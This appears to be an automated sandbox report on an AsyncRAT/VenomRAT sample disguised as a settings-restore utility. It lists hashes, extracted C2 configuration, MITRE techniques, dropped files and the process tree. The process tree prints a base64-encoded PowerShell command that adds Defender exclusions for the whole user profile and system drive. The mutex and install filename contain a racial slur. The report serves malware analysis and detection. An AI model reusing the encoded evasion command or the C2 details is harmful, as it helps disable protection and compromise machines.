asyncrat | 59131a7e8725c4de5a4e1fe5e3febf9f861c22f58ad0cb179bf4d2f419613abf

Analysis

max time kernel
145s
max time network
127s
platform
windows10-2004_x64
resource
win10v2004-20250129-en
resource tags

arch:x64arch:x86image:win10v2004-20250129-enlocale:en-usos:windows10-2004-x64system
submitted
07-02-2025 03:28

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General

Target

EXMSettingsRestoreUtility.exe
Size

122KB
MD5

15f043fb9ac824a896d33502ce43a501
SHA1

e8b8ff0633441603405bf83e57bafa385ca0e784
SHA256

59131a7e8725c4de5a4e1fe5e3febf9f861c22f58ad0cb179bf4d2f419613abf
SHA512

7e9756b1694be946d460d37188e9d193f3e128abe692ca770ef6893f8979800b017b23d4d4a42d6fa546bf12c5f495b3cb6e2fa866e1b805b8a997f50b46d1b9
SSDEEP

3072:Um8Y3AavY9QonIV6fAaCTgDEZ9DAxpz6+l5nlKv0Mp5:U23tvYaeIk5CTgDEZBMuw5nlKvnp

Score

10^/10

asyncrat venomrat default defense_evasion discovery rat

Malware Config

Extracted

Family

asyncrat

Version

Venom RAT + HVNC + Stealer + Grabber v6.0.3

Botnet

Default

193.161.193.99:304480

Mutex

nigger93

Attributes

delay
1
install
true
install_file
nigger93.exe
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat

VenomRAT 2 IoCs

Detects VenomRAT.

rat

resource	yara_rule
behavioral2/files/0x0007000000023c67-13.dat	VenomRAT
behavioral2/memory/3676-25-0x00000000005E0000-0x00000000005F8000-memory.dmp	VenomRAT

Venomrat family
venomrat

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral2/files/0x0007000000023c67-13.dat	family_asyncrat

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4003209913-3868522715-854928974-1000\Control Panel\International\Geo\Nation	EXMSettingsRestoreUtility.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4003209913-3868522715-854928974-1000\Control Panel\International\Geo\Nation	revertsettings.exe

Executes dropped EXE 2 IoCs

pid	Process
3928	revertsettings.exe
3676	aurafarm.exe

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Drops file in Windows directory 2 IoCs

description	ioc	Process
File created	C:\Windows\revertsettings.exe	EXMSettingsRestoreUtility.exe
File created	C:\Windows\aurafarm.exe	EXMSettingsRestoreUtility.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	revertsettings.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EXMSettingsRestoreUtility.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
1176	powershell.exe
1892	powershell.exe
1892	powershell.exe
1176	powershell.exe

Suspicious use of AdjustPrivilegeToken 45 IoCs

description	pid	Process
Token: SeDebugPrivilege	3676	aurafarm.exe
Token: SeDebugPrivilege	1176	powershell.exe
Token: SeDebugPrivilege	1892	powershell.exe
Token: SeIncreaseQuotaPrivilege	3676	aurafarm.exe
Token: SeSecurityPrivilege	3676	aurafarm.exe
Token: SeTakeOwnershipPrivilege	3676	aurafarm.exe
Token: SeLoadDriverPrivilege	3676	aurafarm.exe
Token: SeSystemProfilePrivilege	3676	aurafarm.exe
Token: SeSystemtimePrivilege	3676	aurafarm.exe
Token: SeProfSingleProcessPrivilege	3676	aurafarm.exe
Token: SeIncBasePriorityPrivilege	3676	aurafarm.exe
Token: SeCreatePagefilePrivilege	3676	aurafarm.exe
Token: SeBackupPrivilege	3676	aurafarm.exe
Token: SeRestorePrivilege	3676	aurafarm.exe
Token: SeShutdownPrivilege	3676	aurafarm.exe
Token: SeDebugPrivilege	3676	aurafarm.exe
Token: SeSystemEnvironmentPrivilege	3676	aurafarm.exe
Token: SeRemoteShutdownPrivilege	3676	aurafarm.exe
Token: SeUndockPrivilege	3676	aurafarm.exe
Token: SeManageVolumePrivilege	3676	aurafarm.exe
Token: 33	3676	aurafarm.exe
Token: 34	3676	aurafarm.exe
Token: 35	3676	aurafarm.exe
Token: 36	3676	aurafarm.exe
Token: SeIncreaseQuotaPrivilege	3676	aurafarm.exe
Token: SeSecurityPrivilege	3676	aurafarm.exe
Token: SeTakeOwnershipPrivilege	3676	aurafarm.exe
Token: SeLoadDriverPrivilege	3676	aurafarm.exe
Token: SeSystemProfilePrivilege	3676	aurafarm.exe
Token: SeSystemtimePrivilege	3676	aurafarm.exe
Token: SeProfSingleProcessPrivilege	3676	aurafarm.exe
Token: SeIncBasePriorityPrivilege	3676	aurafarm.exe
Token: SeCreatePagefilePrivilege	3676	aurafarm.exe
Token: SeBackupPrivilege	3676	aurafarm.exe
Token: SeRestorePrivilege	3676	aurafarm.exe
Token: SeShutdownPrivilege	3676	aurafarm.exe
Token: SeDebugPrivilege	3676	aurafarm.exe
Token: SeSystemEnvironmentPrivilege	3676	aurafarm.exe
Token: SeRemoteShutdownPrivilege	3676	aurafarm.exe
Token: SeUndockPrivilege	3676	aurafarm.exe
Token: SeManageVolumePrivilege	3676	aurafarm.exe
Token: 33	3676	aurafarm.exe
Token: 34	3676	aurafarm.exe
Token: 35	3676	aurafarm.exe
Token: 36	3676	aurafarm.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 1628 wrote to memory of 1176	1628	EXMSettingsRestoreUtility.exe	84
PID 1628 wrote to memory of 1176	1628	EXMSettingsRestoreUtility.exe	84
PID 1628 wrote to memory of 1176	1628	EXMSettingsRestoreUtility.exe	84
PID 1628 wrote to memory of 1892	1628	EXMSettingsRestoreUtility.exe	86
PID 1628 wrote to memory of 1892	1628	EXMSettingsRestoreUtility.exe	86
PID 1628 wrote to memory of 1892	1628	EXMSettingsRestoreUtility.exe	86
PID 1628 wrote to memory of 3928	1628	EXMSettingsRestoreUtility.exe	88
PID 1628 wrote to memory of 3928	1628	EXMSettingsRestoreUtility.exe	88
PID 1628 wrote to memory of 3928	1628	EXMSettingsRestoreUtility.exe	88
PID 1628 wrote to memory of 3676	1628	EXMSettingsRestoreUtility.exe	89
PID 1628 wrote to memory of 3676	1628	EXMSettingsRestoreUtility.exe	89
PID 3928 wrote to memory of 2992	3928	revertsettings.exe	91
PID 3928 wrote to memory of 2992	3928	revertsettings.exe	91
PID 3928 wrote to memory of 2992	3928	revertsettings.exe	91

C:\Users\Admin\AppData\Local\Temp\EXMSettingsRestoreUtility.exe
"C:\Users\Admin\AppData\Local\Temp\EXMSettingsRestoreUtility.exe"
1⤵
- Checks computer location settings
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1628
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHAAbgB6ACMAPgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAGQAcABjACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcASQBuAHYAYQBsAGkAZAAgAGwAaQBjAGUAbgBzAGUALgAnACwAJwAnACwAJwBPAEsAJwAsACcARQByAHIAbwByACcAKQA8ACMAaAB4AGUAIwA+AA=="
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1176
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHUAbABoACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGoAeQB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGwAaABjACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGQAbABxACMAPgA="
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1892
- C:\Windows\revertsettings.exe
  "C:\Windows\revertsettings.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3928
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\7z7AC73F58\delete.bat" "
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2992
- C:\Windows\aurafarm.exe
  "C:\Windows\aurafarm.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:3676

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
968cb9309758126772781b83adb8a28f

SHA1
8da30e71accf186b2ba11da1797cf67f8f78b47c

SHA256
92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a

SHA512
4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
486B

MD5
a6cdc802f450a4dbd6bfa26988aac8e6

SHA1
ecdfd079fd24ab03bbc436bf5370bae613a22c71

SHA256
aef05757cfda5430c03b71f5bbf3abdec2529258af0d3656bc7801a920b9c5c2

SHA512
f7670609663482834fb0eb1a3a5f34fe194b3ed2eccf8c4f9f848bdc6ba21547cb91e4d011a99cd2c1cd5205cdbf5ba945f1cd0755b658ed44df120c6d85a59d

Download Submit
C:\Users\Admin\AppData\Local\Temp\7z7AC73F58\delete.bat

Filesize
804B

MD5
a5750c0882d205435451003cbe31d9f2

SHA1
e30d35353f4e99ad62c1b7514a638ed55a1a35d5

SHA256
173a92a2f66bde79504376fa94772687fdb9dc6539ff72a781acb3a23626e5c1

SHA512
f9d2e5d7c30411d988712d8b8e0f75b5cbf303e35a9b1108ff57117dcaa1b9eef9e05d19f7f4c79c1fcb365b91c508f5f547f24b0a30a859e473d9916332bdfd

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mcl23fq5.z0j.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\aurafarm.exe

Filesize
74KB

MD5
80724101ed2cbfb0750ca6b7ac4a9f0e

SHA1
f240dd5f7b52974adf43075e0b74126ceb380968

SHA256
c866481dc9369e31e4d9a2eb296b2a35849f658141045bba8f879c0c8978bb36

SHA512
05dc8267a217d69bedd525be275518e956c859fe781ed57cb8d342434c7c4787fadd0827d5e39a0da450ddd9f463ce91d4a7205a14eb328037af4a869c6fbbe3

Download Submit
C:\Windows\revertsettings.exe

Filesize
42KB

MD5
98cc493ee9f783b20c5d614529d6a34c

SHA1
eaf1e20cddf94a131e1b5a85c629d91b631933f0

SHA256
55ae6e6612a0106cb0b0723622014474259653c2bf6970eba4725875509e36f8

SHA512
f656d45047abeb3f9532e0d606f3ebfb288033195b7c439eedec96761e3a049801a685129e41aed64d3f903882469fbe4e5c20aa15fd0f6e55bfa348d77d6ab9

Download Submit
memory/1176-31-0x00000000053F0000-0x0000000005A18000-memory.dmp

Filesize
6.2MB

Download
memory/1176-71-0x00000000065B0000-0x00000000065CA000-memory.dmp

Filesize
104KB

Download
memory/1176-70-0x0000000007760000-0x0000000007DDA000-memory.dmp

Filesize
6.5MB

Download
memory/1176-34-0x0000000005A90000-0x0000000005AF6000-memory.dmp

Filesize
408KB

Download
memory/1176-73-0x0000000008390000-0x0000000008934000-memory.dmp

Filesize
5.6MB

Download
memory/1176-49-0x0000000005B00000-0x0000000005E54000-memory.dmp

Filesize
3.3MB

Download
memory/1176-74-0x00000000074E0000-0x0000000007572000-memory.dmp

Filesize
584KB

Download
memory/1892-58-0x0000000070890000-0x00000000708DC000-memory.dmp

Filesize
304KB

Download
memory/1892-77-0x0000000007170000-0x000000000717E000-memory.dmp

Filesize
56KB

Download
memory/1892-57-0x00000000061D0000-0x0000000006202000-memory.dmp

Filesize
200KB

Download
memory/1892-55-0x0000000005C00000-0x0000000005C1E000-memory.dmp

Filesize
120KB

Download
memory/1892-68-0x00000000061A0000-0x00000000061BE000-memory.dmp

Filesize
120KB

Download
memory/1892-69-0x0000000006E40000-0x0000000006EE3000-memory.dmp

Filesize
652KB

Download
memory/1892-32-0x0000000004C30000-0x0000000004C52000-memory.dmp

Filesize
136KB

Download
memory/1892-33-0x0000000005400000-0x0000000005466000-memory.dmp

Filesize
408KB

Download
memory/1892-72-0x0000000006FA0000-0x0000000006FAA000-memory.dmp

Filesize
40KB

Download
memory/1892-80-0x00000000071B0000-0x00000000071B8000-memory.dmp

Filesize
32KB

Download
memory/1892-29-0x00000000022E0000-0x0000000002316000-memory.dmp

Filesize
216KB

Download
memory/1892-75-0x00000000071C0000-0x0000000007256000-memory.dmp

Filesize
600KB

Download
memory/1892-76-0x0000000007130000-0x0000000007141000-memory.dmp

Filesize
68KB

Download
memory/1892-56-0x0000000005C40000-0x0000000005C8C000-memory.dmp

Filesize
304KB

Download
memory/1892-78-0x0000000007180000-0x0000000007194000-memory.dmp

Filesize
80KB

Download
memory/1892-79-0x0000000007260000-0x000000000727A000-memory.dmp

Filesize
104KB

Download
memory/3676-30-0x00007FFB55C60000-0x00007FFB56721000-memory.dmp

Filesize
10.8MB

Download
memory/3676-81-0x00007FFB55C60000-0x00007FFB56721000-memory.dmp

Filesize
10.8MB

Download
memory/3676-25-0x00000000005E0000-0x00000000005F8000-memory.dmp

Filesize
96KB

Download
memory/3676-24-0x00007FFB55C63000-0x00007FFB55C65000-memory.dmp

Filesize
8KB

Download